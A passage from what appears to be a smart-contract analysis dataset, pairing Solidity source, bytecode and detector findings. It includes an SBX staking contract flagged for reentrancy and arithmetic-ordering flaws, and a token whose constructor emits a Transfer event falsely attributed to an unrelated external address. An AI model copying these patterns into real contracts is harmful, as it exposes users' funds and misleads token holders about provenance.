} | 0x60606040526004361061013a5763ffffffff60e060020a60003504166306fdde03811461013f578063095ea7b3146101c957806318160ddd146101ff5780631d32ab99146102245780631f2698ab1461024657806323b872dd14610259578063313ce56714610281578063378dc3dc146102aa57806342966c68146102bd57806355684aa6146102d357806366188463146102e957806370a082311461030b578063711bf9b21461032a57806379cc6790146103505780638da5cb5b1461037257806395d89b41146103a1578063a9059cbb146103b4578063b9181611146103d6578063be45fd62146103f5578063be9a65551461045a578063c24126761461046d578063cae9ca5114610480578063d73dd623146104e5578063dd62ed3e14610507578063f2fde38b1461052c578063f6368f8a1461054b575b600080fd5b341561014a57600080fd5b6101526105f2565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561018e578082015183820152602001610176565b50505050905090810190601f1680156101bb5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101d457600080fd5b6101eb600160a060020a0360043516602435610690565b604051901515815260200160405180910390f35b341561020a57600080fd5b6102126106d8565b60405190815260200160405180910390f35b341561022f57600080fd5b6101eb600160a060020a03600435166024356106de565b341561025157600080fd5b6101eb610710565b341561026457600080fd5b6101eb600160a060020a0360043581169060243516604435610719565b341561028c57600080fd5b610294610763565b60405160ff909116815260200160405180910390f35b34156102b557600080fd5b61021261076c565b34156102c857600080fd5b6101eb600435610772565b34156102de57600080fd5b6101eb600435610784565b34156102f457600080fd5b6101eb600160a060020a03600435166024356107b5565b341561031657600080fd5b610212600160a060020a03600435166107f6565b341561033557600080fd5b61034e600160a060020a03600435166024351515610811565b005b341561035b57600080fd5b6101eb600160a060020a0360043516602435610890565b341561037d57600080fd5b610385610937565b604051600160a060020a03909116815260200160405180910390f35b34156103ac57600080fd5b610152610946565b34156103bf57600080fd5b6101eb600160a060020a03600435166024356109b1565b34156103e157600080fd5b6101eb600160a060020a03600435166109f2565b341561040057600080fd5b6101eb60048035600160a060020a03169060248035919060649060443590810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650610a0795505050505050565b341561046557600080fd5b61034e610a49565b341561047857600080fd5b61034e610a9f565b341561048b57600080fd5b6101eb60048035600160a060020a03169060248035919060649060443590810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650610ad395505050505050565b34156104f057600080fd5b6101eb600160a060020a0360043516602435610c03565b341561051257600080fd5b610212600160a060020a0360043581169060243516610c44565b341561053757600080fd5b61034e600160a060020a0360043516610c6f565b341561055657600080fd5b6101eb60048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f016020809104026020016040519081016040528181529291906020840183838082843750949650610d0a95505050505050565b60078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106885780601f1061065d57610100808354040283529160200191610688565b820191906000526020600020905b81548152906001019060200180831161066b57829003601f168201915b505050505081565b60025460009060ff16806106bc5750600160a060020a03331660009081526001602052604090205460ff165b15156106c757600080fd5b6106d18383610d56565b9392505050565b60035481565b600160a060020a03331660009081526001602052604081205460ff16151561070557600080fd5b6106d1328484610dc2565b60025460ff1681565b60025460009060ff16806107455750600160a060020a03331660009081526001602052604090205460ff165b151561075057600080fd5b61075b848484610ede565b949350505050565b60065460ff1681565b60095481565b600061077e3383611081565b92915050565b600160a060020a03331660009081526001602052604081205460ff1615156107ab57600080fd5b61077e3283611081565b60025460009060ff16806107e15750600160a060020a03331660009081526001602052604090205460ff165b15156107ec57600080fd5b6106d18383611152565b600160a060020a031660009081526004602052604090205490565b60005433600160a060020a0390811691161461082c57600080fd5b80151582600160a060020a03167f5056a36abc1db1625034fdf114a164a0345b3ccf992fc1d51055e017375f473260405160405180910390a3600160a060020a03919091166000908152600160205260409020805460ff1916911515919091179055565b600160a060020a038083166000908152600560209081526040808320339094168352929052908120548211156108c557600080fd5b6108cf8383611081565b50600160a060020a0380841660009081526005602090815260408083203390941683529290522054610907908363ffffffff61124c16565b600160a060020a038085166000908152600560209081526040808320339094168352929052205550600192915050565b600054600160a060020a031681565b60088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106885780601f1061065d57610100808354040283529160200191610688565b60025460009060ff16806109dd5750600160a060020a03331660009081526001602052604090205460ff165b15156109e857600080fd5b6106d1838361125e565b60016020526000908152604090205460ff1681565b60025460009060ff1680610a335750600160a060020a03331660009081526001602052604090205460ff165b1515610a3e57600080fd5b61075b84848461126b565b60005433600160a060020a03908116911614610a6457600080fd5b6002805460ff191660011790557f1b55ba3aa851a46be3b365aee5b5c140edd620d578922f3e8466d2cbd96f954b60405160405180910390a1565b60065460ff16600a0a63017d7840026003819055600981905533600160a060020a0316600090815260046020526040902055565b6000610adf8484610690565b5083600160a060020a03166040517f72656365697665417070726f76616c28616464726573732c75696e743235362c81527f62797465732900000000000000000000000000000000000000000000000000006020820152602601604051809103902060e060020a90043385856040518463ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a03168152602001838152602001828051906020019080838360005b83811015610ba5578082015183820152602001610b8d565b50505050905090810190601f168015610bd25780820380516001836020036101000a031916815260200191505b50935050505060006040518083038160008761646e5a03f1925050501515610bf957600080fd5b5060019392505050565b60025460009060ff1680610c2f5750600160a060020a03331660009081526001602052604090205460ff165b1515610c3a57600080fd5b6106d183836112d5565b600160a060020a03918216600090815260056020908152604080832093909416825291909152205490565b60005433600160a060020a03908116911614610c8a57600080fd5b600160a060020a0381161515610c9f57600080fd5b600054600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60025460009060ff1680610d365750600160a060020a03331660009081526001602052604090205460ff165b1515610d4157600080fd5b610d4d85858585611379565b95945050505050565b600160a060020a03338116600081815260056020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b6000600160a060020a0383161515610dd957600080fd5b30600160a060020a031683600160a060020a031614151515610dfa57600080fd5b600160a060020a038416600090815260046020526040902054821115610e1f57600080fd5b600160a060020a038416600090815260046020526040902054610e48908363ffffffff61124c16565b600160a060020a038086166000908152600460205260408082209390935590851681522054610e7d908363ffffffff61162016565b600160a060020a03808516600081815260046020526040908190209390935591908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b6000600160a060020a0383161515610ef557600080fd5b30600160a060020a031683600160a060020a031614151515610f1657600080fd5b600160a060020a038416600090815260046020526040902054821115610f3b57600080fd5b600160a060020a0380851660009081526005602090815260408083203390941683529290522054821115610f6e57600080fd5b600160a060020a038416600090815260046020526040902054610f97908363ffffffff61124c16565b600160a060020a038086166000908152600460205260408082209390935590851681522054610fcc908363ffffffff61162016565b600160a060020a03808516600090815260046020908152604080832094909455878316825260058152838220339093168252919091522054611014908363ffffffff61124c16565b600160a060020a03808616600081815260056020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b600080821161108f57600080fd5b600160a060020a0383166000908152600460205260409020548211156110b457600080fd5b600160a060020a0383166000908152600460205260409020546110dd908363ffffffff61124c16565b600160a060020a038416600090815260046020526040902055600354611109908363ffffffff61124c16565b600355600160a060020a0383167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58360405190815260200160405180910390a250600192915050565b600160a060020a033381166000908152600560209081526040808320938616835292905290812054808311156111af57600160a060020a0333811660009081526005602090815260408083209388168352929052908120556111e6565b6111bf818463ffffffff61124c16565b600160a060020a033381166000908152600560209081526040808320938916835292905220555b600160a060020a0333811660008181526005602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b60008282111561125857fe5b50900390565b60006106d1338484610dc2565b600061075b848484606060405190810160405280602481526020017f746f6b656e46616c6c6261636b28616464726573732c75696e743235362c627981526020017f7465732900000000000000000000000000000000000000000000000000000000815250610d0a565b600160a060020a03338116600090815260056020908152604080832093861683529290529081205461130d908363ffffffff61162016565b600160a060020a0333811660008181526005602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b6000600160a060020a038516151561139057600080fd5b30600160a060020a031685600160a060020a0316141515156113b157600080fd5b600160a060020a0333166000908152600460205260409020548411156113d657600080fd5b600160a060020a0333166000908152600460205260409020546113ff908563ffffffff61124c16565b600160a060020a033381166000908152600460205260408082209390935590871681522054611434908563ffffffff61162016565b600160a060020a0386166000908152600460205260409020556114568561162f565b156115725784600160a060020a03166000836040518082805190602001908083835b602083106114975780518252601f199092019160209182019101611478565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902060e060020a9004903387876040518563ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a03168152602001838152602001828051906020019080838360005b83811015611528578082015183820152602001611510565b50505050905090810190601f1680156115555780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185886187965a03f150505050505b826040518082805190602001908083835b602083106115a25780518252601f199092019160209182019101611583565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902085600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168760405190815260200160405180910390a4506001949350505050565b6000828201838110156106d157fe5b6000903b11905600a165627a7a72305820483203eb2a36fe27f174e26c3bc433284ff250ed71ea4e76062a56afd60175ee0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-lowlevel", "impact": "Medium", "confidence": "Medium"}]}} | 9,677 |
0xaa3592dd7ab8aaa5f132f41fa6a58470ee51dd22 | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.6.0;
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address payable public owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address payable _newOwner) public onlyOwner {
owner = _newOwner;
emit OwnershipTransferred(msg.sender, _newOwner);
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function ceil(uint a, uint m) internal pure returns (uint r) {
return (a + m - 1) / m * m;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
abstract contract ERC20Interface {
function totalSupply() public virtual view returns (uint);
function balanceOf(address tokenOwner) public virtual view returns (uint256 balance);
function allowance(address tokenOwner, address spender) public virtual view returns (uint256 remaining);
function transfer(address to, uint256 tokens) public virtual returns (bool success);
function approve(address spender, uint256 tokens) public virtual returns (bool success);
function transferFrom(address from, address to, uint256 tokens) public virtual returns (bool success);
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens);
}
contract SBX_STAKE is Owned{
using SafeMath for uint256;
uint256 public penaltyFee = 5; //5% penlaty fee applicable before lock up time
uint256 public totalRewards;
uint256 public totalStakes;
uint256 public firstYearRate = 20;
uint256 public secondYearRate = 15;
uint256 public afterSecondYearRate = 10;
uint256 public firstYearStakingPeriod = 1 weeks;
uint256 public secondYearStakingPeriod = 3 days;
uint256 public afterSecondYearStakingPeriod = 24 hours;
uint256 private contractStartDate;
address constant SBX = 0xDaF8a0E12fc3b109A17ED5CbB943A8f3f86081f7;
struct DepositedToken{
bool Exist;
uint256 activeDeposit;
uint256 totalDeposits;
uint256 startTime;
uint256 pendingGains;
uint256 lastClaimedDate;
uint256 totalGained;
address referrer;
}
mapping(address => DepositedToken) users;
event Staked(address staker, uint256 tokens);
event AddedToExistingStake(uint256 tokens);
event TokensClaimed(address claimer, uint256 stakedTokens);
event RewardClaimed(address claimer, uint256 reward);
//#########################################################################################################################################################//
//####################################################STAKING EXTERNAL FUNCTIONS###########################################################################//
//#########################################################################################################################################################//
constructor() public{
contractStartDate = block.timestamp;
}
// ------------------------------------------------------------------------
// Start staking
// @param _tokenAddress address of the token asset
// @param _amount amount of tokens to deposit
// ------------------------------------------------------------------------
function STAKE(uint256 _amount, address _referrerID) public {
require(_referrerID == address(0) || users[_referrerID].Exist, "Invalid Referrer Id");
require(_amount > 0, "Invalid amount");
// add new stake
_newDeposit(SBX, _amount, _referrerID);
// update referral reward
_updateReferralReward(_amount, _referrerID);
// transfer tokens from user to the contract balance
require(ERC20Interface(SBX).transferFrom(msg.sender, address(this), _amount));
emit Staked(msg.sender, _amount);
}
// ------------------------------------------------------------------------
// Claim reward and staked tokens
// @required user must be a staker
// @required must be claimable
// ------------------------------------------------------------------------
function ClaimStakedTokens() external {
require(users[msg.sender].activeDeposit > 0, "no running stake");
uint256 _penaltyFee = 0;
if(users[msg.sender].startTime + latestStakingPeriod() > now){ // claiming before lock up time
_penaltyFee = penaltyFee;
}
uint256 toTransfer = users[msg.sender].activeDeposit.sub(_onePercent(users[msg.sender].activeDeposit).mul(_penaltyFee));
// transfer staked tokens - apply 5% penalty and send back staked tokens
require(ERC20Interface(SBX).transfer(msg.sender, toTransfer));
// check if we have any pending reward, add it to pendingGains var
users[msg.sender].pendingGains = pendingReward(msg.sender);
emit TokensClaimed(msg.sender, toTransfer);
// update amount
users[msg.sender].activeDeposit = 0;
}
// ------------------------------------------------------------------------
// Claim reward and staked tokens
// @required user must be a staker
// @required must be claimable
// ------------------------------------------------------------------------
function ClaimReward() public {
require(pendingReward(msg.sender) > 0, "nothing pending to claim");
// transfer the reward to the claimer
require(ERC20Interface(SBX).transfer(msg.sender, pendingReward(msg.sender)));
emit RewardClaimed(msg.sender, pendingReward(msg.sender));
// add claimed reward to global stats
totalRewards = totalRewards.add(pendingReward(msg.sender));
// add the reward to total claimed rewards
users[msg.sender].totalGained = users[msg.sender].totalGained.add(pendingReward(msg.sender));
// update lastClaim amount
users[msg.sender].lastClaimedDate = now;
// reset previous rewards
users[msg.sender].pendingGains = 0;
}
//#########################################################################################################################################################//
//####################################################STAKING QUERIES######################################################################################//
//#########################################################################################################################################################//
// ------------------------------------------------------------------------
// Query to get the pending reward
// ------------------------------------------------------------------------
function pendingReward(address _caller) public view returns(uint256 _pendingReward){
uint256 _totalStakedTime = 0;
uint256 expiryDate = (latestStakingPeriod()).add(users[_caller].startTime);
if(now < expiryDate)
_totalStakedTime = now.sub(users[_caller].lastClaimedDate);
else{
if(users[_caller].lastClaimedDate >= expiryDate) // if claimed after expirydate already
_totalStakedTime = 0;
else
_totalStakedTime = expiryDate.sub(users[_caller].lastClaimedDate);
}
uint256 _reward_token_second = ((latestStakingRate()).mul(10 ** 21)).div(365 days); // added extra 10^21
uint256 reward = ((users[_caller].activeDeposit).mul(_totalStakedTime.mul(_reward_token_second))).div(10 ** 23); // remove extra 10^21 // the two extra 10^2 is for 100 (%)
return (reward.add(users[_caller].pendingGains));
}
// ------------------------------------------------------------------------
// Query to get the active stake of the user
// ------------------------------------------------------------------------
function yourActiveStake(address _user) public view returns(uint256 _activeStake){
return users[_user].activeDeposit;
}
// ------------------------------------------------------------------------
// Query to get the total stakes of the user
// ------------------------------------------------------------------------
function yourTotalStakesTillToday(address _user) public view returns(uint256 _totalStakes){
return users[_user].totalDeposits;
}
// ------------------------------------------------------------------------
// Query to get the time of last stake of user
// ------------------------------------------------------------------------
function StakedOn(address _user) public view returns(uint256 _unixLastStakedTime){
return users[_user].startTime;
}
// ------------------------------------------------------------------------
// Query to get total earned rewards from stake
// ------------------------------------------------------------------------
function totalStakeRewardsClaimedTillToday(address _user) public view returns(uint256 _totalEarned){
return users[_user].totalGained;
}
// ------------------------------------------------------------------------
// Query to get the staking rate
// ------------------------------------------------------------------------
function latestStakingRate() public view returns(uint256 APY){
uint256 yearOfContract = (((block.timestamp).sub(contractStartDate)).div(365 days)).add(1);
uint256 rate;
if(yearOfContract == 1)
rate = firstYearRate;
else if(yearOfContract == 2)
rate = secondYearRate;
else
rate = afterSecondYearRate;
return rate;
}
// ------------------------------------------------------------------------
// Query to get the staking period
// ------------------------------------------------------------------------
function latestStakingPeriod() public view returns(uint256 Period){
uint256 yearOfContract = (((block.timestamp).sub(contractStartDate)).div(365 days)).add(1);
uint256 period;
if(yearOfContract == 1)
period = firstYearStakingPeriod;
else if(yearOfContract == 2)
period = secondYearStakingPeriod;
else
period = afterSecondYearStakingPeriod;
return period;
}
// ------------------------------------------------------------------------
// Query to get the staking time left
// ------------------------------------------------------------------------
function stakingTimeLeft(address _user) public view returns(uint256 _secsLeft){
if(users[_user].activeDeposit > 0){
uint256 left = 0;
uint256 expiryDate = (latestStakingPeriod()).add(StakedOn(_user));
if(now < expiryDate)
left = expiryDate.sub(now);
return left;
}
else
return 0;
}
//#########################################################################################################################################################//
//################################################################COMMON UTILITIES#########################################################################//
//#########################################################################################################################################################//
// ------------------------------------------------------------------------
// Internal function to add new deposit
// ------------------------------------------------------------------------
function _newDeposit(address _tokenAddress, uint256 _amount, address _referrerID) internal{
require(users[msg.sender].activeDeposit == 0, "Already running");
require(_tokenAddress == SBX, "Only SBX tokens supported");
// add that token into the contract balance
// check if we have any pending reward, add it to pendingGains variable
users[msg.sender].pendingGains = pendingReward(msg.sender);
users[msg.sender].activeDeposit = _amount;
users[msg.sender].totalDeposits = users[msg.sender].totalDeposits.add(_amount);
users[msg.sender].startTime = now;
users[msg.sender].lastClaimedDate = now;
users[msg.sender].referrer = _referrerID;
users[msg.sender].Exist = true;
totalStakes = totalStakes.add(_amount);
}
// ------------------------------------------------------------------------
// Calculates onePercent of the uint256 amount sent
// ------------------------------------------------------------------------
function _onePercent(uint256 _tokens) internal pure returns (uint256){
uint256 roundValue = _tokens.ceil(100);
uint onePercentofTokens = roundValue.mul(100).div(100 * 10**uint(2));
return onePercentofTokens;
}
// ------------------------------------------------------------------------
// Updates the reward for referrer
// ------------------------------------------------------------------------
function _updateReferralReward(uint256 _amount, address _referrerID) private{
users[_referrerID].pendingGains += _onePercent(_amount);
}
} | 0x608060405234801561001057600080fd5b50600436106101425760003560e01c8063b61aa7c7116100b8578063c66703941161007c578063c66703941461026f578063dec1b9dc14610277578063e350b8e41461027f578063e4598ee2146102ab578063f2fde38b146102d1578063f40f0f52146102f757610142565b8063b61aa7c7146101ed578063bd7b219414610213578063bf9befb11461021b578063c2ef64be14610223578063c3b893d51461024957610142565b806374c1c8ba1161010a57806374c1c8ba1461019f57806379372f9a146101a75780638a506262146101b15780638c28cb72146101b95780638da5cb5b146101c15780639472d38a146101e557610142565b80630e15561a14610147578063376285b0146101615780633dc10ad41461016957806367f7ab2b146101715780636831465414610179575b600080fd5b61014f61031d565b60408051918252519081900360200190f35b61014f610323565b61014f610329565b61014f61032f565b61014f6004803603602081101561018f57600080fd5b50356001600160a01b0316610335565b61014f610357565b6101af6103bb565b005b61014f610566565b61014f61056c565b6101c96105c3565b604080516001600160a01b039092168252519081900360200190f35b61014f6105d2565b61014f6004803603602081101561020357600080fd5b50356001600160a01b03166105d8565b6101af6105f6565b61014f6107c1565b61014f6004803603602081101561023957600080fd5b50356001600160a01b03166107c7565b61014f6004803603602081101561025f57600080fd5b50356001600160a01b03166107e5565b61014f610844565b61014f61084a565b6101af6004803603604081101561029557600080fd5b50803590602001356001600160a01b0316610850565b61014f600480360360208110156102c157600080fd5b50356001600160a01b0316610a08565b6101af600480360360208110156102e757600080fd5b50356001600160a01b0316610a26565b61014f6004803603602081101561030d57600080fd5b50356001600160a01b0316610a88565b60025481565b60095481565b60015481565b60065481565b6001600160a01b0381166000908152600b60205260409020600101545b919050565b60008061038860016103826301e1338061037c600a5442610bd590919063ffffffff16565b90610bec565b90610c01565b90506000816001141561039e57506004546103b5565b81600214156103b057506005546103b5565b506006545b91505090565b60006103c633610a88565b11610418576040805162461bcd60e51b815260206004820152601860248201527f6e6f7468696e672070656e64696e6720746f20636c61696d0000000000000000604482015290519081900360640190fd5b73daf8a0e12fc3b109a17ed5cbb943a8f3f86081f763a9059cbb3361043c81610a88565b6040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b15801561048257600080fd5b505af1158015610496573d6000803e3d6000fd5b505050506040513d60208110156104ac57600080fd5b50516104b757600080fd5b7f106f923f993c2149d49b4255ff723acafa1f2d94393f561d3eda32ae348f7241336104e233610a88565b604080516001600160a01b03909316835260208301919091528051918290030190a161051961051033610a88565b60025490610c01565b60025561054161052833610a88565b336000908152600b602052604090206006015490610c01565b336000908152600b602052604081206006810192909255426005830155600490910155565b60075481565b60008061059160016103826301e1338061037c600a5442610bd590919063ffffffff16565b9050600081600114156105a757506007546103b5565b81600214156105b957506008546103b5565b5060095491505090565b6000546001600160a01b031681565b60045481565b6001600160a01b03166000908152600b602052604090206006015490565b336000908152600b602052604090206001015461064d576040805162461bcd60e51b815260206004820152601060248201526f6e6f2072756e6e696e67207374616b6560801b604482015290519081900360640190fd5b60004261065861056c565b336000908152600b602052604090206003015401111561067757506001545b336000908152600b60205260408120600101546106bc906106a390849061069d90610c17565b90610c42565b336000908152600b602052604090206001015490610bd5565b6040805163a9059cbb60e01b815233600482015260248101839052905191925073daf8a0e12fc3b109a17ed5cbb943a8f3f86081f79163a9059cbb916044808201926020929091908290030181600087803b15801561071a57600080fd5b505af115801561072e573d6000803e3d6000fd5b505050506040513d602081101561074457600080fd5b505161074f57600080fd5b61075833610a88565b336000818152600b602090815260409182902060040193909355805191825291810183905281517f896e034966eaaf1adc54acc0f257056febbd300c9e47182cf761982cf1f5e430929181900390910190a15050336000908152600b6020526040812060010155565b60035481565b6001600160a01b03166000908152600b602052604090206002015490565b6001600160a01b0381166000908152600b60205260408120600101541561083c5760008061081d61081585610a08565b61038261056c565b905080421015610834576108318142610bd5565b91505b509050610352565b506000610352565b60055481565b60085481565b6001600160a01b038116158061087e57506001600160a01b0381166000908152600b602052604090205460ff165b6108c5576040805162461bcd60e51b8152602060048201526013602482015272125b9d985b1a5908149959995c9c995c881259606a1b604482015290519081900360640190fd5b6000821161090b576040805162461bcd60e51b815260206004820152600e60248201526d125b9d985b1a5908185b5bdd5b9d60921b604482015290519081900360640190fd5b61092a73daf8a0e12fc3b109a17ed5cbb943a8f3f86081f78383610c66565b6109348282610dc7565b604080516323b872dd60e01b815233600482015230602482015260448101849052905173daf8a0e12fc3b109a17ed5cbb943a8f3f86081f7916323b872dd9160648083019260209291908290030181600087803b15801561099457600080fd5b505af11580156109a8573d6000803e3d6000fd5b505050506040513d60208110156109be57600080fd5b50516109c957600080fd5b604080513381526020810184905281517f9e71bc8eea02a63969f509818f2dafb9254532904319f9dbda79b67bd34a5f3d929181900390910190a15050565b6001600160a01b03166000908152600b602052604090206003015490565b6000546001600160a01b03163314610a3d57600080fd5b600080546001600160a01b0319166001600160a01b0383169081178255604051909133917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b6001600160a01b0381166000908152600b602052604081206003015481908190610ab49061038261056c565b905080421015610aec576001600160a01b0384166000908152600b6020526040902060050154610ae5904290610bd5565b9150610b41565b6001600160a01b0384166000908152600b60205260409020600501548111610b175760009150610b41565b6001600160a01b0384166000908152600b6020526040902060050154610b3e908290610bd5565b91505b6000610b606301e1338061037c683635c9adc5dea0000061069d610357565b90506000610ba169152d02c7e14af680000061037c610b7f8786610c42565b6001600160a01b038a166000908152600b602052604090206001015490610c42565b6001600160a01b0387166000908152600b6020526040902060040154909150610bcb908290610c01565b9695505050505050565b600082821115610be157fe5b508082035b92915050565b600080828481610bf857fe5b04949350505050565b600082820183811015610c1057fe5b9392505050565b600080610c25836064610df6565b90506000610c3a61271061037c846064610c42565b949350505050565b600082610c5157506000610be6565b82820282848281610c5e57fe5b0414610c1057fe5b336000908152600b602052604090206001015415610cbd576040805162461bcd60e51b815260206004820152600f60248201526e416c72656164792072756e6e696e6760881b604482015290519081900360640190fd5b6001600160a01b03831673daf8a0e12fc3b109a17ed5cbb943a8f3f86081f714610d2e576040805162461bcd60e51b815260206004820152601960248201527f4f6e6c792053425820746f6b656e7320737570706f7274656400000000000000604482015290519081900360640190fd5b610d3733610a88565b336000908152600b6020526040902060048101919091556001810183905560020154610d639083610c01565b336000908152600b60205260409020600281019190915542600380830182905560058301919091556007820180546001600160a01b0319166001600160a01b038516179055815460ff191660011790915554610dbf9083610c01565b600355505050565b610dd082610c17565b6001600160a01b039091166000908152600b602052604090206004018054909101905550565b6000818260018486010381610e0757fe5b0402939250505056fea2646970667358221220ce8bfe76cc6fb6a905a57978a5ff3846a8f03ee5bb3324420714d9465acc128d64736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | 9,678 |
0xbe120a6918683e01ef72b602620af9888dae4be2 | //SPDX-License-Identifier: Mines™®©
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract TropicThunder is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = 'Tropic Thunder';
string private constant _symbol = 'TRT';
uint8 private constant _decimals = 9;
uint256 private _taxFee;
uint256 private _teamFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
